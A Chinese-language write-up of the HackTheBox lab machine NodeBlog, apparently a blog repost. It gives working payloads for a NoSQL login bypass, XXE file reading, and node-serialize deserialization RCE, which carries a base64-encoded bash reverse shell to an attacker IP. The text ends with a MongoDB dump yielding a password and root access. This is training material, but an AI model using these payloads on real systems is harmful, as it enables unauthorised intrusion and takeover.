title: HackTheBox-NodeBlog-Nodejs反序列化 author: Mosaic Theory layout: true categories: 漏洞实验 tags:
-
• 打靶日记
HackTheBox-NodeBlog
Jack of all trades and master of none.
門門精通,樣樣稀鬆。
Recon:
Masscan:
>> sudo masscan -p1-65535,U:1-65535 10.10.11.139 --rate 2000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-05-14 13:26:59 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 5000/tcp on 10.10.11.139
Discovered open port 22/tcp on 10.10.11.139
Nmap:
>> sudo nmap -sC -sV -Pn 10.10.11.139 -p22,5000
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-14 21:38 CST
Nmap scan report for 10.10.11.139
Host is up (0.62s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.29 seconds
NOSQL身份认证绕过:
>> whatweb http://nodeblog.htb:5000/
http://nodeblog.htb:5000/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, IP[10.10.11.139], Script[JavaScript], Title[Blog], X-Powered-By[Express], X-UA-Compatible[IE=edge]
没什么有用的信息,就一个登录框,可以随便输入一下参数抓包:
POST /login HTTP/1.1
Host: nodeblog.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://nodeblog.htb:5000
Connection: close
Referer: http://nodeblog.htb:5000/login
Upgrade-Insecure-Requests: 1
user=admin&password=admin
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#authentication-bypass
可以构造一下参数,但是不行:
user=admin&password[$ne]=password
nodejs嘛,可能会是以json提交:
POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 46
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1
{"user": "admin", "password": "password"}
返回包中会有这么一段信息:
</div>
<div class="form-group">
<label for="password">Password</label>
<input required type="text" name="password" id="password" class="form-control">
</div>
<button type="submit" class="btn btn-primary">Login</button>
</form>
Invalid Password
</div>
</body>
</html>
确实,是可以校验,构造个payload:
POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 46
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1
{"user": "admin", "password": {"$ne": "password"}}
页面会发生一些变化:
XXE:
一个新建,一个上传,一个编辑,先随便上传一个文件,啥类型也能上传,但是服务端不收,还报错:
要上传XML类型的文件,可以随便写一个试试:
<post>
<title>test</title>
<description>test see hello</description>
<markdown>
This is a test post.
</markdown>
</post>
到了文章编辑的地方:
看起来是基于xml解析的,或许我可以尝试XXE读取一些文件:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<post>
<title>test Post</title>
<description>Read File</description>
<markdown>&file;</markdown>
</post>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
admin:x:1000:1000:admin:/home/admin:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mongodb:x:109:117::/var/lib/mongodb:/usr/sbin/nologin
确实读到了,可以尝试去读取一下SSH密钥,能登录的用户好像也没几个,但是我失败了,只要我尝试读取密钥就会报错。看起来确实是要我利用XXE做些什么事,但是又不想我这么简单,或是我可以试着让服务器报错,看能否得到些什么,我可以把json格式破坏掉,让服务器读取不了我提交的字段参数:
POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 18
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1
{"user": "admin",}
会返回给我这样的错误信息:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/opt/blog/node_modules/body-parser/lib/types/json.js:89:19)<br> at /opt/blog/node_modules/body-parser/lib/read.js:121:18<br> at invokeCallback (/opt/blog/node_modules/raw-body/index.js:224:16)<br> at done (/opt/blog/node_modules/raw-body/index.js:213:7)<br> at IncomingMessage.onEnd (/opt/blog/node_modules/raw-body/index.js:273:7)<br> at IncomingMessage.emit (events.js:412:35)<br> at endReadableNT (internal/streams/readable.js:1334:12)<br> at processTicksAndRejections (internal/process/task_queues.js:82:21)</pre>
</body>
</html>
看起来我提交的参数让后端代码出问题了,而它也显示出了绝对路径,我可以通过XXE把他们都读出来,但是我都读不出来:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 144
ETag: W/"90-v0DoTdXwQk7iInwC6sdbQSWTk3E"
Date: Sat, 14 May 2022 19:40:48 GMT
Connection: close
Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>
Nodejs反序列化:
或许我可以读一下nodejs的配置文件:
/opt/blog/server.js
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
反序列化unserialize,那它反序列化的对象,应该是cookie:
%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D
进行url解码:
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}
nodejs反序列化,我之前写过一篇靶机,可以先验证下是否能利用:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.16.4', function(error, stdout, stderr){console.log(stdout)});}()"}
>> sudo tcpdump -i tun0 icmp and src 10.10.11.139
还要进行url编码:
GET / HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: auth=%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%36%2e%34%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
Upgrade-Insecure-Requests: 1
Set-GPC: 1
能监听到icmp流量包,漏洞确实存在:
>> sudo tcpdump -i tun0 icmp and src 10.10.11.139
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:11:30.033721 IP nodeblog.htb > 10.10.16.4: ICMP echo request, id 1, seq 1, length 64
获取user shell:
反弹shell的时候出现了些意外,估计是传输过程中数据被破坏了,可以进行一下编码:
>> echo 'bash -i >& /dev/tcp/10.10.16.4/9001 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQo=
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQo=|base64 -d |bash', function(error, stdout, stderr){console.log(stdout)});}()"}
GET / HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: auth=%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%65%63%68%6f%20%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%69%34%30%4c%7a%6b%77%4d%44%45%67%4d%44%34%6d%4d%51%6f%3d%7c%62%61%73%65%36%34%20%2d%64%20%7c%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
Upgrade-Insecure-Requests: 1
Set-GPC: 1
收到shell回连,但是还报一个权限错误,我可以读取到user.txt:
>> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.139] 38554
bash: cannot set terminal process group (900): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ cd /home
admin@nodeblog:/home$ ls
admin
admin@nodeblog:/home$ cd admin/
bash: cd: admin/: Permission denied
admin@nodeblog:/home$ chmod +x admin
admin@nodeblog:/home$ cd admin/
admin@nodeblog:~$ ls
user.txt
admin@nodeblog:~$ cat user.txt
5f8..........................
获取root shell:
尝试提权,要密码的:
admin@nodeblog:~$ sudo -l
[sudo] password for admin:
Sorry, try again.
搜了一圈没什么关于密码文件的,系统内核也没漏洞,在遍历进程的时候发现第三方组件:
>> ps auxww
mongodb 721 0.3 1.8 981828 76232 ? Ssl 17:35 0:36 /usr/bin/mongod --unixSocketPrefix=/run/mongodb --config /etc/mongodb.conf
直接dump:
admin@nodeblog:/opt/blog$ mongodump
2022-05-14T20:49:15.381+0000 writing admin.system.version to
2022-05-14T20:49:15.381+0000 done dumping admin.system.version (1 document)
2022-05-14T20:49:15.381+0000 writing blog.articles to
2022-05-14T20:49:15.382+0000 writing blog.users to
2022-05-14T20:49:15.382+0000 done dumping blog.articles (3 documents)
2022-05-14T20:49:15.382+0000 done dumping blog.users (1 document)
admin@nodeblog:/opt/blog$ ls
dump node_modules package.json server.js
models package-lock.json routes views
在users.bson有密码字段:
admin@nodeblog:/opt/blog/dump/blog$ ls
articles.bson articles.metadata.json users.bson users.metadata.json
admin@nodeblog:/opt/blog/dump/blog$ cat users.bson
n_ida�8
#s� createdAt粳}usernameadminpassword�IppsecSaysPleaseSubscribe__vadmin@nodeblog:/opt/blog/dump/blog$
可以尝试sudo:
admin@nodeblog:/opt/blog/dump/blog$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on nodeblog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
admin@nodeblog:/opt/blog/dump/blog$ sudo cat /root/root.txt
004.................................................
原文始发于微信公众号(老鑫安全):HackTheBox-NodeBlog
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论